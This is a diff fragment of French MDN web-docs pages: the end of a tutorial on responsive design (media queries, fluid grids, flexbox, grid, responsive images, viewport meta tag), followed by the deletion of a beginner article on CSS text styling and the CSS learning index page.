Zoe Mickley Gillenwater a grandement contribué au travail de description et de formalisation des différentes façons de créer des sites flexibles, en essayant de trouver un juste milieu entre remplir l'écran ou être complètement fixe en taille.

- -

Responsive design

- -

Le terme de responsive design a été inventé par Ethan Marcotte en 2010, et décrit la combinaison de trois techniques.

- -
    -
  1. La première était l'idée des grilles fluides, une idée déjà explorée par Gillenwater, que l'on peut lire dans l'article de Marcotte, Fluid Grids (publié en 2009 sur A List Apart).
    2. -
  2. La deuxième technique était l'idée d'images fluides. En utilisant une technique très simple de réglage de la propriété max-width à 100%,  les images deviennent plus petites si leur colonne de contenu devient plus étroite que la taille intrinsèque de l'image, mais ne deviennent jamais plus grandes. Cela permet à une image de se réduire pour s'intégrer dans une colonne de taille flexible, plutôt que de la déborder, mais de ne pas s'agrandir et de devenir pixélisée si la colonne devient plus large que l'image.
    3. -
  3. Le troisième élément clé était la media query. Les Media Queries permettent de changer le type de mise en page que Cameron Adams avait précédemment exploré en utilisant JavaScript, en utilisant uniquement CSS. Au lieu d'avoir une seule mise en page pour toutes les tailles d'écran, la mise en page pouvait être modifiée. Les barres latérales pouvaient être repositionnées pour l'écran plus petit, ou une autre navigation pouvait être affichée.
    4. -
- -

Il est important de comprendre que le responsive web design n'est pas une technologie à part - c'est un terme utilisé pour décrire une approche de la conception web, ou un ensemble de bonnes pratiques, utilisées pour créer une mise en page qui peut correspondre à l'appareil utilisé pour visualiser le contenu. Dans la recherche initiale de Marcotte, cela impliquait des grilles flexibles (en utilisant des flotteurs) et des média queries, mais depuis la rédaction de cet article, il y a presque 10 ans, le concept de responsive design est devenu la norme. Les méthodes modernes de mise en page CSS sont par nature responsives, et nous avons intégré de nouvelles choses à la plateforme Web pour faciliter la conception de sites responsives.
-
- Le reste de cet article vous indiquera les différentes fonctionnalités de la plate-forme web que vous pourriez vouloir utiliser pour créer un site réactif.

- -

Media Queries

- -

Le responsive design n'a pu voir le jour uniquement grâce aux média queries. La spécification de niveau 3 des média queries est devenue une Recommandation Candidate en 2009, ce qui signifie qu'elle a été jugée prête à être mise en œuvre dans les navigateurs. Les Media Queries nous permettent d'effectuer une série de tests (par exemple, si l'écran de l'utilisateur dépasse une certaine largeur, ou une certaine résolution) et d'appliquer le CSS de manière sélective pour donner à la page le style approprié aux besoins de l'utilisateur.

- -

Par exemple, la média query suivante teste si la page Web actuelle est affichée comme média d'écran (donc pas un document à imprimer) et si la fenêtre de visualisation a au moins 800 pixels de large. Le CSS du sélecteur .container ne sera appliqué que si ces deux éléments sont vrais.

- -
@media screen and (min-width: 800px) {
-  .container {
-    margin: 1em 2em;
-  }
-} 
-
- -

Vous pouvez ajouter plusieurs medias queries dans une feuille de style, afin de modifier votre mise en page ou certaines de ses parties pour les adapter aux différentes tailles d'écran. Les endroits où une média query est introduite et où la mise en page est modifiée sont appelés points d'arrêt.

- -

Une approche courante lors de l'utilisation de Media Queries consiste à créer une disposition à colonne unique simple pour les appareils à écran étroit (par exemple les téléphones portables), puis à vérifier si les écrans sont plus grands et à mettre en œuvre une disposition à colonnes multiples lorsque vous savez que vous avez suffisamment de largeur d'écran pour la prendre en charge. Ceci est souvent décrit comme la conception mobile en priorité.

- -

Pour en savoir plus, consultez la documentation MDN pour les Media Queries.

- -

Grilles flexibles

- -

Les sites responsives ne se contentent pas de changer leur mise en page entre les points de rupture, ils sont construits sur des grilles flexibles. Une grille flexible signifie que vous n'avez pas besoin de cibler toutes les tailles d'appareils possibles et de construire une mise en page parfaite au pixel près. Cette approche serait impossible étant donné le grand nombre de dispositifs de tailles différentes qui existent, et le fait que sur les ordinateurs de bureau au moins, les gens n'ont pas toujours la fenêtre de leur navigateur maximisée.

- -

En utilisant une grille flexible, vous n'avez qu'à ajouter un point d'arrêt et à modifier le design au moment où le contenu commence à avoir une piètre apparence. Par exemple, si la longueur des lignes devient illisible à mesure que la taille de l'écran augmente, ou si une boîte se retrouve écrasée avec deux mots sur chaque ligne lorsqu'elle se rétrécit.

- -

Aux débuts du responsive design, notre seule option pour réaliser la mise en page était d'utiliser floats. Aux débuts du responsive design, notre seule option pour réaliser la mise en page était d'utiliser des flotteurs. Des mises en page flottantes flexibles ont été réalisées en donnant à chaque élément un pourcentage de largeur et en s'assurant que les totaux ne dépassent pas 100 % dans toute la mise en page. Dans sa publication originale sur les grilles fluides, Marcotte a détaillé une formule pour convertir en pourcentages une mise en page conçue à l'aide de pixels.

- -
target / context = result 
-
- -

Par exemple, si la taille de notre colonne cible est de 60 pixels et que le contexte (ou conteneur) dans lequel elle se trouve est de 960 pixels, nous divisons 60 par 960 pour obtenir une valeur que nous pouvons utiliser dans notre CSS, après avoir déplacé le point décimal de deux places vers la droite.

- -
.col {
-  width: 6.25%; /* 60 / 960 = 0.0625 */
-} 
-
- -

Cette approche se retrouve aujourd'hui à de nombreux endroits sur le Web, et elle est documentée ici dans la section sur la mise en page de notre article sur Méthodes de mises en page traditionnelles. Cette approche se retrouve aujourd'hui à de nombreux endroits sur le Web, et elle est documentée ici dans la section sur la mise en page de notre article sur les méthodes de mise en page héritées. Il est probable que vous rencontrerez des sites web utilisant cette approche dans votre travail, donc il est utile de la comprendre, même si vous ne construiriez pas un site moderne en utilisant une grille flexible basée sur le flottement.

- -

L'exemple suivant montre une conception simple et responsive en utilisant des médias queries et une grille flexible. Sur des écrans étroits, la mise en page affiche les boîtes entassées les unes sur les autres :
-  

- -
A mobile view of the layout with boxes stacked on top of each other vertically. -
-
- -

Sur des écrans plus larges, ils se positionnent sur deux colonnes :

- -
A desktop view of a layout with two columns. -
-
- -
-

Note: Vous pouvez trouver l'exemple en direct et le code source pour cet exemple sur GitHub.

-
- -

Techniques modernes de mise en page

- -

Les méthodes de mise en page modernes telles que Multiple-column layout, Flexbox, et Grid sont responsives par défaut. Elles partent toutes du principe que vous essayez de créer une grille flexible et vous donnent des moyens plus faciles de le faire.

- -

Multicol

- -

La plus ancienne de ces méthodes de mise en page est multicol — lorsque vous spécifiez un column-count, cela indique en combien de colonnes vous voulez que votre contenu soit divisé. Le navigateur calcule alors la taille de celles-ci, une taille qui changera en fonction de la taille de l'écran.

- -
.container {
-  column-count: 3;
-} 
-
- -

Si vous spécifiez plutôt une largeur de colonne, vous spécifiez une largeur minimale. Le navigateur créera autant de colonnes de cette largeur qu'il en faudra pour que le conteneur soit parfaitement adapté, puis répartira l'espace restant entre toutes les colonnes. Par conséquent, le nombre de colonnes changera en fonction de l'espace disponible.

- -
.container {
-  column-width: 10em;
-} 
-
- -

Flexbox

- -

Dans Flexbox, les articles flexibles se rétréciront et répartiront l'espace entre les articles en fonction de l'espace dans leur conteneur, en fonction de leur comportement initial. En modifiant les valeurs de flex-grow et flex-shrink  vous pouvez indiquer comment vous souhaitez que les articles se comportent lorsqu'ils rencontrent plus ou moins d'espace autour d'eux.

- -

Dans l'exemple ci-dessous, les éléments flex prendront chacun autant d'espace dans le conteneur flex, en utilisant la notation flex: 1 comme décrit dans la rubrique de mise en page Flexbox: Taille modulable des éléments flex.

- -
.container {
-  display: flex;
-}
-
-.item {
-  flex: 1;
-} 
-
- -
-

Note: À titre d'exemple, nous avons reconstruit la mise en page simple et réactive ci-dessus, en utilisant cette fois-ci la méthode flexbox. Vous pouvez voir comment nous n'avons plus besoin d'utiliser des pourcentages étranges pour calculer la taille des colonnes : exemple, code source.

-
- -

CSS grid

- -

Dans la mise en page en grille CSS, l'unité fr permet la répartition de l'espace disponible sur les différentes sections de la grille. L'exemple suivant crée un conteneur de grille avec trois rangées dont la taille est de 1fr. Cela créera trois colonnes, chacune prenant une partie de l'espace disponible dans le conteneur. Vous pouvez en savoir plus sur cette approche pour créer une grille dans la rubrique Apprendre la mise en place en grille, dans la section Trames adaptables avec l'unité "fr".

- -
.container {
-  display: grid;
-  grid-template-columns: 1fr 1fr 1fr;
-} 
-
- -
-

Note: La version à grille est encore plus simple puisque nous pouvons définir les colonnes sur le .wrapper : exemple, code source.

-
- -

Images responsives

- -

L'approche la plus simple pour les images responsive est celle décrite dans les premiers articles de Marcotte sur le design responsive. En gros, vous preniez une image qui était à la plus grande taille possible et vous la réduisiez. C'est encore une approche utilisée aujourd'hui, et dans la plupart des feuilles de style, vous trouverez le CSS suivant quelque part :

- -
img {
-  max-width: 100%:
-} 
-
- -

Cette approche présente des inconvénients évidents. L'image peut être affichée à une taille beaucoup plus petite que sa taille réelle, ce qui est un gaspillage de bande passante - un utilisateur mobile peut télécharger une image dont la taille est beaucoup plus grande que ce qu'il voit réellement dans la fenêtre du navigateur. De plus, il se peut que vous ne vouliez pas le même rapport hauteur/largeur de l'image sur le mobile que sur le bureau. Par exemple, il peut être agréable d'avoir une image carrée pour le mobile, mais de montrer la même image en format paysage sur le bureau. Ou, en tenant compte de la taille plus petite d'une image sur le mobile, vous pouvez vouloir montrer une image différente, qui est plus facile à comprendre sur un écran de petite taille. Ces choses ne peuvent pas être réalisées par une simple réduction de la taille d'une image.

- -

Les images responsives, en utilisant l'élément {{htmlelement("picture")}}  et les attributs {{htmlelement("img")}} srcset et sizes  permettent de résoudre ces deux problèmes. Vous pouvez fournir plusieurs tailles ainsi que des " indices " (méta-données qui décrivent la taille de l'écran et la résolution pour lesquelles l'image est la mieux adaptée), et le navigateur choisira l'image la plus appropriée pour chaque dispositif, en s'assurant qu'un utilisateur téléchargera une taille d'image appropriée pour le dispositif qu'il utilise.

- -

Vous pouvez également créer des images directes utilisées à différentes tailles, ce qui permet d'obtenir un recadrage différent ou une image complètement différente pour différentes tailles d'écran.

- -

Vous pouvez trouver un guide détaillé sur les Images Responsives dans la section Apprendre le HTML ici sur MDN.

- -

Typographie responsive

- -

L'idée d'une typographie responsive est un élément du responsive design qui n'a pas été abordé dans les documents précédents. Elle décrit essentiellement la modification de la taille des polices de caractères dans les médias queries pour tenir compte d'un nombre plus ou moins important de pixels à l'écran.

- -

Dans cet exemple, nous voulons fixer notre titre de niveau 1 à 4rem, ce qui signifie qu'il sera quatre fois plus gros que notre police de base. C'est un très grand titre ! Nous voulons que ce titre géant ne soit utilisé que sur des écrans de grande taille, c'est pourquoi nous créons d'abord un titre plus petit, puis nous utilisons des média queries pour le remplacer par un titre de plus grande taille si nous savons que l'utilisateur a une taille d'écran d'au moins 1200px.

- -
html {
-  font-size: 1em;
-}
-
-h1 {
-  font-size: 2rem;
-}
-
-@media (min-width: 1200px) {
-  h1 {
-    font-size: 4rem;
-  }
-} 
-
- -

Nous avons modifié notre exemple de grilles réactives ci-dessus pour inclure également les type responsives en utilisant la méthode décrite. Vous pouvez voir comment le titre change de taille au fur et à mesure que la mise en page passe à la version à deux colonnes.

- -

Sur un mobile, le titre est plus petit :

- -
A stacked layout with a small heading size. -
-
- -

Sur le bureau cependant, nous voyons la plus grande taille de titre :

- -
A two column layout with a large heading. -
-
- -
-

Note: Voir cet exemple en action : exemple, code source.

-
- -

Comme le montre cette approche de la typographie, vous n'avez pas besoin de limiter les requêtes des médias à la seule modification de la mise en page. Elles peuvent être utilisées pour modifier n'importe quel élément afin de le rendre plus utilisable ou plus attrayant à des tailles d'écran différentes.

- -

Utilisation d'unités de visualisation pour une typographie réactive

- -

Une approche intéressante consiste à utiliser l'unité viewport vw pour permettre une typographie réactive. 1vw est égal à un pour cent de la largeur de la fenêtre, ce qui signifie que si vous définissez la taille de votre police à l'aide de vw, elle sera toujours liée à la taille de la fenêtre.

- -
h1 {
-  font-size: 6vw;
-}
- -

Le problème est que l'utilisateur perd la possibilité de zoomer sur un ensemble de texte en utilisant l'unité vw, car ce texte est toujours lié à la taille de la fenêtre de visualisation. Par conséquent, vous ne devez jamais définir un texte en utilisant uniquement les unités de viewport.

- -

Il existe une solution, et elle consiste à utiliser calc(). Si vous ajoutez l'unité vw à un ensemble de valeurs utilisant une taille fixe telle que ems ou rems, le texte sera toujours zoomable. En fait, l'unité vw s'ajoute à cette valeur zoomée :

- -
h1 {
-  font-size: calc(1.5rem + 3vw);
-}
- -

Cela signifie que nous n'avons besoin de spécifier la taille de la police pour l'en-tête qu'une seule fois, plutôt que de la configurer pour les mobiles et de la redéfinir dans les requêtes des médias. La police augmente ensuite progressivement à mesure que l'on augmente la taille de la zone d'affichage.

- -
-

Voir un exemple de cela en action : exemple, code source.

-
- -

Le méta-tag du viewport

- -

Si vous regardez le code source d'une page HTML responsive, vous verrez généralement la balise suivante {{htmlelement("meta")}} dans la section <head> du document.

- -
<meta name="viewport" content="width=device-width,initial-scale=1">
-
- -

Cette balise meta dit aux navigateurs mobiles qu'ils doivent ajuster la largeur de la fenêtre à la largeur de l'écran de l'appareil, et mettre l'échelle du document à 100% de sa taille prévue, affichant le document à la taille optimisée pour les mobiles que vous vouliez.

- -

Pourquoi est-ce nécessaire? Parce que les navigateurs mobiles ont tendance à mentir à propos de leur taille de fenêtre.

- -

Cette balise meta existe car lorsque l'Iphone original fut lancé et que les gens commencèrent à regarder des sites web sur un petit écran de téléphone, la plupart des sites n'étaient pas optimisés pour les mobiles. Le navigateur mobile définissait donc la largeur de la fenêtre d'affichage à 960 pixels, affichait la page à cette largeur et affichait le résultat sous la forme d'une version zoomée de la disposition du bureau. Les autres navigateurs mobiles (comme sur Google Android) faisaient la même chose. Les utilisateurs pouvaient zoomer et parcourir le site Web pour voir les éléments qui les intéressaient, mais l'affichage était mauvais. Vous le verrez toujours aujourd'hui si vous avez le malheur de tomber sur un site qui n'est pas responsive.

- -

Le problème est que votre responsive design avec des points de coupure et des media queries ne fonctionnera pas comme prévu sur les navigateurs mobiles. Si vous avez une disposition pour écran étroit qui démarre à une largeur de fenêtre de 480 pixels ou moins, et que la fenêtre est définie à 960 pixels, vous ne verrez jamais votre disposition pour écran étroit sur mobile. En définissant width = device-width, vous remplacez la largeur par défaut d'Apple de width = 960px par la largeur réelle de l'appareil, afin que vos requêtes multimédias fonctionnent comme prévu.

- -

Vous devriez donc toujours inclure la ligne HTML ci-dessus dans la tête de vos documents.

- -

Il existe d'autres paramètres que vous pouvez utiliser avec la balise meta viewport, mais en général, la ligne ci-dessus est celle que vous utiliserez.

- - - -

Vous devriez éviter d'utiliser minimum-scale, maximum-scale, et en particulier la définition de user-scalable sur no. Les utilisateurs devraient être autorisés à zoomer autant ou aussi peu que nécessaire; éviter cela entraîne des problèmes d'accessibilité.

- -
-

Note: Il existe une règle @ CSS conçue pour remplacer la métabalise viewport — @viewport — Cependant, son support par navigateur est médiocre. Il a été mis en œuvre dans Internet Explorer et Edge, mais une fois que Edgium (La version Edge basée sur Chromium) sera livré, il ne fera plus partie du navigateur Edge.

-
- -

Sommaire

- -

Le responsive design fait référence à la conception d'un site ou d'une application qui répond à l'environnement dans lequel il est vu. Elle englobe un certain nombre de caractéristiques et de techniques CSS et HTML, et c'est essentiellement la façon dont nous construisons les sites web par défaut. Considérez les sites que vous visitez sur votre téléphone - il est probablement assez inhabituel de tomber sur un site dont la version de bureau est réduite, ou sur lequel vous devez faire défiler les pages pour trouver des choses. Cela s'explique par le fait que le web a adopté cette approche de design réactif.

- -

Il est également devenu beaucoup plus facile de réaliser des responsives designs à l'aide des méthodes de mise en page que vous avez apprises dans ces leçons. Si vous êtes novice en matière de développement web, vous disposez aujourd'hui de beaucoup plus d'outils qu'aux premiers jours du responsive design. Il est donc utile de vérifier l'âge des documents que vous référencez. Si les articles historiques sont toujours utiles, l'utilisation moderne des CSS et du HTML facilite grandement la création de designs élégants et utiles, quel que soit le dispositif avec lequel votre visiteur consulte le site.

- -

{{PreviousMenuNext("Apprendre/CSS/CSS_layout/Multiple-column_Layout", "Apprendre/CSS/CSS_layout/Media_queries", "Apprendre/CSS/CSS_layout")}}

- -

Dans ce module

- - diff --git a/files/fr/apprendre/css/formatage_texte_css/index.html b/files/fr/apprendre/css/formatage_texte_css/index.html deleted file mode 100644 index 5a9fcb6c63..0000000000 --- a/files/fr/apprendre/css/formatage_texte_css/index.html +++ /dev/null @@ -1,270 +0,0 @@ ---- -title: Mise en forme basique du texte avec CSS -slug: Apprendre/CSS/formatage_texte_CSS -tags: - - Beginner - - CSS - - CodingScripting - - Example - - Guide - - Learn - - NeedsActiveLearning -translation_of: Learn/CSS/Styling_text/Fundamentals -translation_of_original: Learn/CSS/Basic_text_styling_in_CSS ---- -
{{IncludeSubnav("/fr/Apprendre")}}
- -
-

Cet article explique comment mettre en forme le texte de documents {{Glossary("HTML")}} en utilisant les propriétés {{Glossary("CSS")}} les plus communes.

-
- - - - - - - - - - - - -
Prérequis :Vous devez être familier avec les propriétés CSS et comment les utiliser.
Objectif :Vous allez apprendre comment mettre en forme du texte en utilisant les propriétés CSS adéquates.
- -

Depuis sa première mouture, CSS s'est spécialisé dans la mise en forme (autrement dit l'apparence) des sites web, permettant au HTML de se concentrer uniquement sur la structure du document.

- -

Avec plus de 250 propriétés, CSS est très riche. Dans cet article, nous n'en aborderons que certaines, utilisées pour le formatage du texte :

- - - -

Une fois que vous vous serez familiarisé avec ces propriétés, nous vous encourageons à explorer d'autres propriétés de formatage du texte telles que {{cssxref("hyphens")}}, {{cssxref("letter-spacing")}}, {{cssxref("text-indent")}}, {{cssxref("text-overflow")}}, {{cssxref("vertical-align")}}, {{cssxref("white-space")}}, {{cssxref("word-spacing")}}), les sélecteurs spécifiques ({{cssxref("::first-letter")}} ou {{cssxref("::first-line")}}), ou les unités CSS utilisées pour la taille du texte ({{cssxref("length","em","#em")}} et {{cssxref("length","rem","#rem")}}). Pour personnaliser totalement votre texte, vous pouvez également utiliser vos propres polices de caractère grâce à {{cssxref("@font-face")}}.

- -

Pédagogie active

- -

Il n'y a actuellement pas de contenu pour cette section. Vous pouvez néanmoins contribuer.

- -

Aller plus loin

- -

color

- -

La propriété {{cssxref("color")}} modifie la couleur du texte en faisant appel à divers {{cssxref("color_value","systèmes de notation","#rgb()")}} : hexadécimal, rouge-vert-bleu (aussi appelé RGB pour red-green-blue), teinte-saturation-lumière (ou HSL pour hue-saturation-lightness). Vous pouvez aussi utiliser un {{cssxref("color_value","mot-clé désignant une couleur","#Mots-cl.C3.A9s")}}. Voici un exemple illustrant comment colorer le texte en vert.

- -

Pour commencer, intéressons nous au fragment de code HTML suivant :

- -
<p>Je suis un paragraphe vert.</p>
- -

Maintenant appliquons le style ci-dessous :

- -
p {
-  color: green;              /* C'est vert avec le mot clé "green" */
-  color: #008000;            /* C'est vert avec la notation hexadecimale */
-  color: rgb(0,128,0);       /* C'est vert avec la notation RGB */
-  color: hsl(120, 100%, 25%);/* C'est vert avec la notation HSL */
-}
- -
-

Astuce de pro : le code précédent peut-être très utile en CSS. En effet, les navigateurs qui supportent mal la gestion de couleurs HSL, se rabattent sur le modèle RGB, puis hexadécimal, et en dernier recours aux mots-clés s'ils ne supportent aucune autre syntaxe.

-
- -

Voici le résultat :

- -

{{EmbedLiveSample('color','100%')}}

- -

font-family

- -

La propriété {{cssxref("font-family")}} est très utile pour ajouter une touche personnelle à votre site, font-family définit en effet une liste de polices dans lesquelles votre texte peut apparaître.

- -

La valeur de cette propriété est une liste de polices séparées par des virgules. Si le navigateur ne peut pas trouver la première police de la liste, il passe alors à la suivante et l'applique au texte concerné. Si aucune police de la liste ne fonctionne, alors le navigateur utilise sa propre police par défaut. Ce peut-être serif, sans-serif ou monospace. Voici un exemple :

- -

Pour notre prochain exemple, prenons le fragment de code HTML suivant :

- -
<p class="serif">Lorem ipsum dolor sit amet, consectetur adipiscing elit.</p>
-<p class="sansserif">Lorem ipsum dolor sit amet, consectetur adipiscing elit.</p>
- -

Appliquons lui le style suivant :

- -
.sansserif {
-  font-family: Helvetica, Arial, sans-serif;
-}
-
-.serif {
-  font-family: "Times New Roman", Times, serif;
-}
-
- -

Voici le résultat :

- -

{{EmbedLiveSample('font-family','100%')}}

- -

font-size

- -

La propriété {{cssxref("font-size")}} ajuste la taille du texte, en utilisant une de ces unités :

- -
-
{{cssxref("length","px","#px")}}
-
L'unité px détermine la hauteur en pixels de votre texte.
-
{{cssxref("length","em","#em")}}
-
em spécifie la largeur de la lettre "M" avec la police utilisée. Les ems sont des unités de typographie communes, parce qu'elles permettent de définir facilement des tailles relatives par rapport à la police et taille actuelle. Ainsi, en indiquant une taille de police de 1.5em, on précise que la taille du texte devrait faire 1,5 fois la taille de la lettre "M" de l'élément parent. Si l'élément parent n'a pas de taille absolue, 1em vaut par défaut 16px.
-
{{cssxref("length","rem","#rem")}}
-
rem est beaucoup plus facile à utiliser comme unité qu'em car la taille du texte dépend de la taille initiale du texte, au lieu de dépendre de l'héritage d'un quelconque élement parent.
-
{{cssxref("length","pt","#pt")}}
-
pt est l'abréviation de point, une unité typographique très courante dans le monde de l'impression. Les navigateurs transposent les points en pixels, mais avec une certaine irrégularité, il est donc préférable d'éviter cette unité.
-
- -

Voici une illustration de la différence entre em et rem, grâce à ce fragment de code HTML :

- -
<div>Je mesure 1rem (par défaut)
-  <div class="rem">Je mesure 0.8rem.
-    <div class="rem">Je mesure aussi 0.8rem.
-      <div class="rem">Ici, je mesure également 0.8rem.</div>
-    </div>
-  </div>
-</div>
-
-<hr>
-
-<div>Je mesure 1em (par défaut)
-  <div class="em">Je mesure 0.8em.
-    <div class="em">Je mesure aussi 0.8em.
-      <div class="em">Ici, je mesure également 0.8em.</div>
-    </div>
-  </div>
-</div>
- -

En utilisant le style suivant :

- -
.rem {
-  font-size: 0.8rem;
-}
-
-.em {
-  font-size: 0.8em
-}
-
- -

Le résultat obtenu est le suivant :

- -

{{EmbedLiveSample('font-size','100%')}}

- -

font-weight

- -

La propriété {{cssxref("font-weight")}} définit l'épaisseur des caractères, généralement à l'aide des valeurs normal ou bold. Voici un exemple :

- -
.bold {
-  font-weight: bold;
-}
- -

font-style

- -

La propriété {{cssxref("font-style")}} détermine si le texte doit être affiché normalement, en italique ou en oblique respectivement grâce à normal, italic, et oblique :

- -
.italic {
-  font-style: italic;
-}
- -

line-height

- -

La propriété {{cssxref("line-height")}} définit la hauteur de la ligne en utilisant les mêmes unités que la propriété font-size.

- -
.line {
-  line-height: 80%;
-}
- -
-

Astuce de pro : Vous pouvez appliquer les propriétés {{cssxref("font-style")}}, {{cssxref("font-weight")}}, {{cssxref("font-size")}}, {{cssxref("line-height")}}, et {{cssxref("font-family")}} à l'aide d'une seule propriété « parente » : {{cssxref("font")}}

- -

Les deux exemples suivants afficheront donc exactement la même chose :

- -
body {
-  font: bold 1em/150% Helvetica, Arial, sans-serif;
-}
- -
body {
-  font-weight: bold;
-  font-size  : 1em;
-  line-height: 150%;
-  font-family: Helvetica, Arial, sans-serif;
-}
-
- -

text-transform

- -

La propriété {{cssxref("text-transform")}} modifie la casse du texte (autrement dit, elle permet d'afficher du texte en MAJUSCULES, minuscules ou en Capitales), comme le montre cet exemple :

- -
.transform {
-  text-transform: uppercase;
-}
- -

text-align

- -

La propriété {{cssxref("text-align")}} contrôle l'alignement du texte, en définissant l'alignement à gauche, à droite, ou centré ou justifié (left, right, center, ou justified) : 

- -
.center {
-  text-align: center;
-}
- -

text-decoration

- -

La propriété {{cssxref("text-decoration")}} permet de faire apparaitre une ligne en dessous, au dessus, ou à travers  de votre texte. La valeur par défaut none supprime tout formatage. Voici, par exemple, comment barrer un texte en CSS :

- -
.strike {
-  text-decoration: line-through;
-}
- -

text-shadow

- -

La propriété {{cssxref("text-shadow")}} fait apparaître une ou plusieurs ombres derrière le texte à l'aide de quatre paramètres : le décalage horizontal, le décalage vertical, la taille du rayon et la couleur de l'ombre portée. On peut appliquer plusieurs ombres en définissant une liste d'ombres séparées par des virgules et obtenir ainsi à des effets visuels étonnants. Voici trois exemples qui utilisent le code HTML ci-après :

- -
<p class="simple">COUCOU</p>
-<p class="double">COUCOU</p>
-<p class="feu">COUCOU</p>
-
- -

Si on applique maintenant ces différents styles :

- -
p {
-  /* basic font setting */
-  font: bold 3em Impact, sans-serif;
-  text-align: center;
-  letter-spacing: 2px
-}
-
-.simple {
-  text-shadow: 2px 3px 5px rgba(0,0,0,0.3);
-}
-
-.double {
-  text-shadow: 2px 2px 0 white,
-               4px 4px 0 black;
-}
-
-.feu {
-  color: white;
-  text-shadow: 0    0   2px #fefcc9,
-               1px -1px 3px #feec85,
-              -2px -2px 4px #ffae34,
-               2px -4px 5px #ec760c,
-              -2px -6px 6px #cd4606,
-               0   -8px 7px #973716,
-               1px -9px 8px #451b0e;
-}
-
- -

Voici le résultat final :

- -

{{EmbedLiveSample('text-shadow','100%', 400)}}

- -

Prochaines étapes

- -

Vous pouvez bien sûr utiliser différentes combinaisons de ces propriétés pour parvenir au résultat visuel souhaité. Pour poursuivre votre apprentissage, vous pouvez jeter un œil à la façon d'utiliser le CSS dans une page web ou à notre tutoriel CSS.

diff --git a/files/fr/apprendre/css/index.html b/files/fr/apprendre/css/index.html deleted file mode 100644 index d47ea70f90..0000000000 --- a/files/fr/apprendre/css/index.html +++ /dev/null @@ -1,77 +0,0 @@ ---- -title: Composer le HTML avec les CSS -slug: Apprendre/CSS -tags: - - Article - - CSS - - Codage - - Débutant - - Longueur - - Nécessite du contenu - - Renvois - - Style - - débogage - - particularités -translation_of: Learn/CSS ---- -
{{LearnSidebar}}
- -
-

Les Cascading StyleSheets — ou {{glossary("CSS")}} — (Feuilles de style en cascade) sont la première technique à apprendre après le {{glossary("HTML")}}. Alors que {{glossary("HTML")}} s'utilise pour définir la structure et la sémantique du contenu, les {{Glossary('CSS')}} sont employées pour composer et déterminer l'apparence de ce contenu. Ainsi par exemple, vous utiliserez les CSS pour modifier les polices, la couleur, la taille et l'espacement de votre contenu, pour le répartir sur plusieurs colonnes ou bien pour ajouter des animations et autres fonctionnalités décoratives.

-
- -

Parcours d'apprentissage

- -

Vous devriez vraiment apprendre les bases du HTML avant d'essayer n'importe quelles CSS. Nous vous recommandons de travailler d'abord notre module Introduction au HTML — vous pourrez ensuite en apprendre davantage au sujet :

- - - -

Une fois compris les principes fondamentaux du HTML, nous vous recommandons d'apprendre HTML et CSS simultanément, en vous déplaçant d'un sujet à l'autre. Car le HTML est beaucoup plus intéressant et beaucoup plus amusant à apprendre en appliquant les CSS : vous ne pouvez pas apprendre réellement les CSS sans connaître le HTML.

- -

Avant de commencer cet article, vous devez aussi avoir, au minimum, une connaissance de base de l'utilisation de l'ordinateur et de celle, passive, du Web (c'est-à-dire, faire des recherches et consommer du contenu). Vous devez aussi avoir paramétré un environnement de travail de base tel que détaillé dans Installer les logiciels de base et avoir compris comment créer et gérer des fichiers, comme indiqué dans Gérer des fichiers — les deux font partie de notre module Débuter avec le Web, rédigé pour les débutants.

- -

Il est recommandé de travailler par le biais de Débuter avec le web avant d'essayer ce sujet, cependant, ce n'est pas absolument nécessaire : une grande partie de ce qui est couvert dans l'article de base CSS est également couvert dans notre module Introduction aux CSS, bien qu'avec beaucoup plus de détails.

- -

Modules

- -

Cet article contient les modules suivants, dans l'ordre suggéré pour le parcours. Vous devez vraiment commencer par le premier.

- -
-
Introduction aux CSS
-
Ce module vous enseigne les bases du fonctionnement des CSS ; il comprend les sélecteurs et les propriétés, l'écriture des règles des CSS, l'application des CSS au HTML, la définition de la longueur, de la couleur et d'autres unités avec les CSS, la cascade et l'héritage, les bases du modèle de boîte et le débogage du CSS.
-
Styliser les boîtes
-
Ensuite, nous examinons la stylisation des boîtes : une des étapes fondamentales de la composition d'une page Web. Dans ce module, nous récapitulons les modèles de boîtes, puis nous nous penchons sur le contrôle de leur disposition en définissant le remplissage, les bordures et les marges, la personnalisation des couleurs d'arrière-plan, les images et autres caractéristiques, les caractéristiques de fantaisie telles que filtres et ombrages des boîtes.
-
- -
-
Composer du texte
-
Ici, nous examinons les principes fondamentaux pour composer du texte : réglage de la police, graisse et italique, espacement des lignes et des lettres, les ombrage et autres caractéristiques. Nous complétons le module en appliquant des polices personnalisées à la page, ainsi que des listes de styles et des liens.
-
-
Mise en page avec les CSS
-
-

À ce stade, ont déjà été examinés les principes fondamentaux des CSS, la façon de composer du texte, de styliser et de manipuler les boîtes où se trouve le contenu. Maintenant, il est temps de voir comment placer les boîtes au bon endroit dans la fenêtre et l'une par rapport à l'autre. Maintenant que sont couvertes les conditions préalables nécessaires, vous pouvez entrer plus avant dans les mises en page avec les CSS, regarder les divers paramètres d'affichage, les méthodes traditionnelles de mise en page y compris flottement et positionnement ainsi que les nouveaux outils de mises en page tape à l'œil, comme flexbox.

-
-
- -

Résolution de problèmes courants avec les CSS

- -

Use CSS to solve common problems fournit des liens vers des sections dont les contenus expliquent comment utiliser les CSS pour résoudre des problèmes banals lors de la création d'une page Web.

- -

Au début, ce que vous ferez le plus couramment sera d'appliquer des couleurs aux éléments HTML et à leurs arrière-plans, de changer la taille, la forme et la position des éléments et d'ajouter ou définir des bordures pour les éléments. Mais il n'y a pas grand-chose que vous ne puissiez pas faire une fois que vous avez une solide compréhension des bases des CSS. L'un des meilleurs aspects de l'apprentissage des CSS est que, une fois acquis les principes fondamentaux, vous avez habituellement une bonne idée de ce qui peut et ne peut pas être fait, même si vous ne savez pas encore comment réellement le faire !

- -

"Le CSS est étrange"

- -

Le CSS fonctionne un peu différemment de la plupart des langages de programmation et des outils de conception que vous rencontrerez. Pourquoi fonctionne-t-il de cette façon ? Dans la vidéo suivante, Miriam Suzanne explique pourquoi le CSS fonctionne comme il le fait, et pourquoi il a évolué comme il l'a fait :

- -

{{EmbedYouTube("aHUtMbJw8iA")}}

- -

Voir aussi

- -
-
Les CSS sur MDN
-
Le portail pour la documentation des CSS sur MDN : vous y trouverez une documentation de référence détaillée pour toutes les fonctionnalités du langage des CSS. Vous voulez connaître toutes les valeurs qu'une propriété peut prendre ? C'est le bon endroit.
-
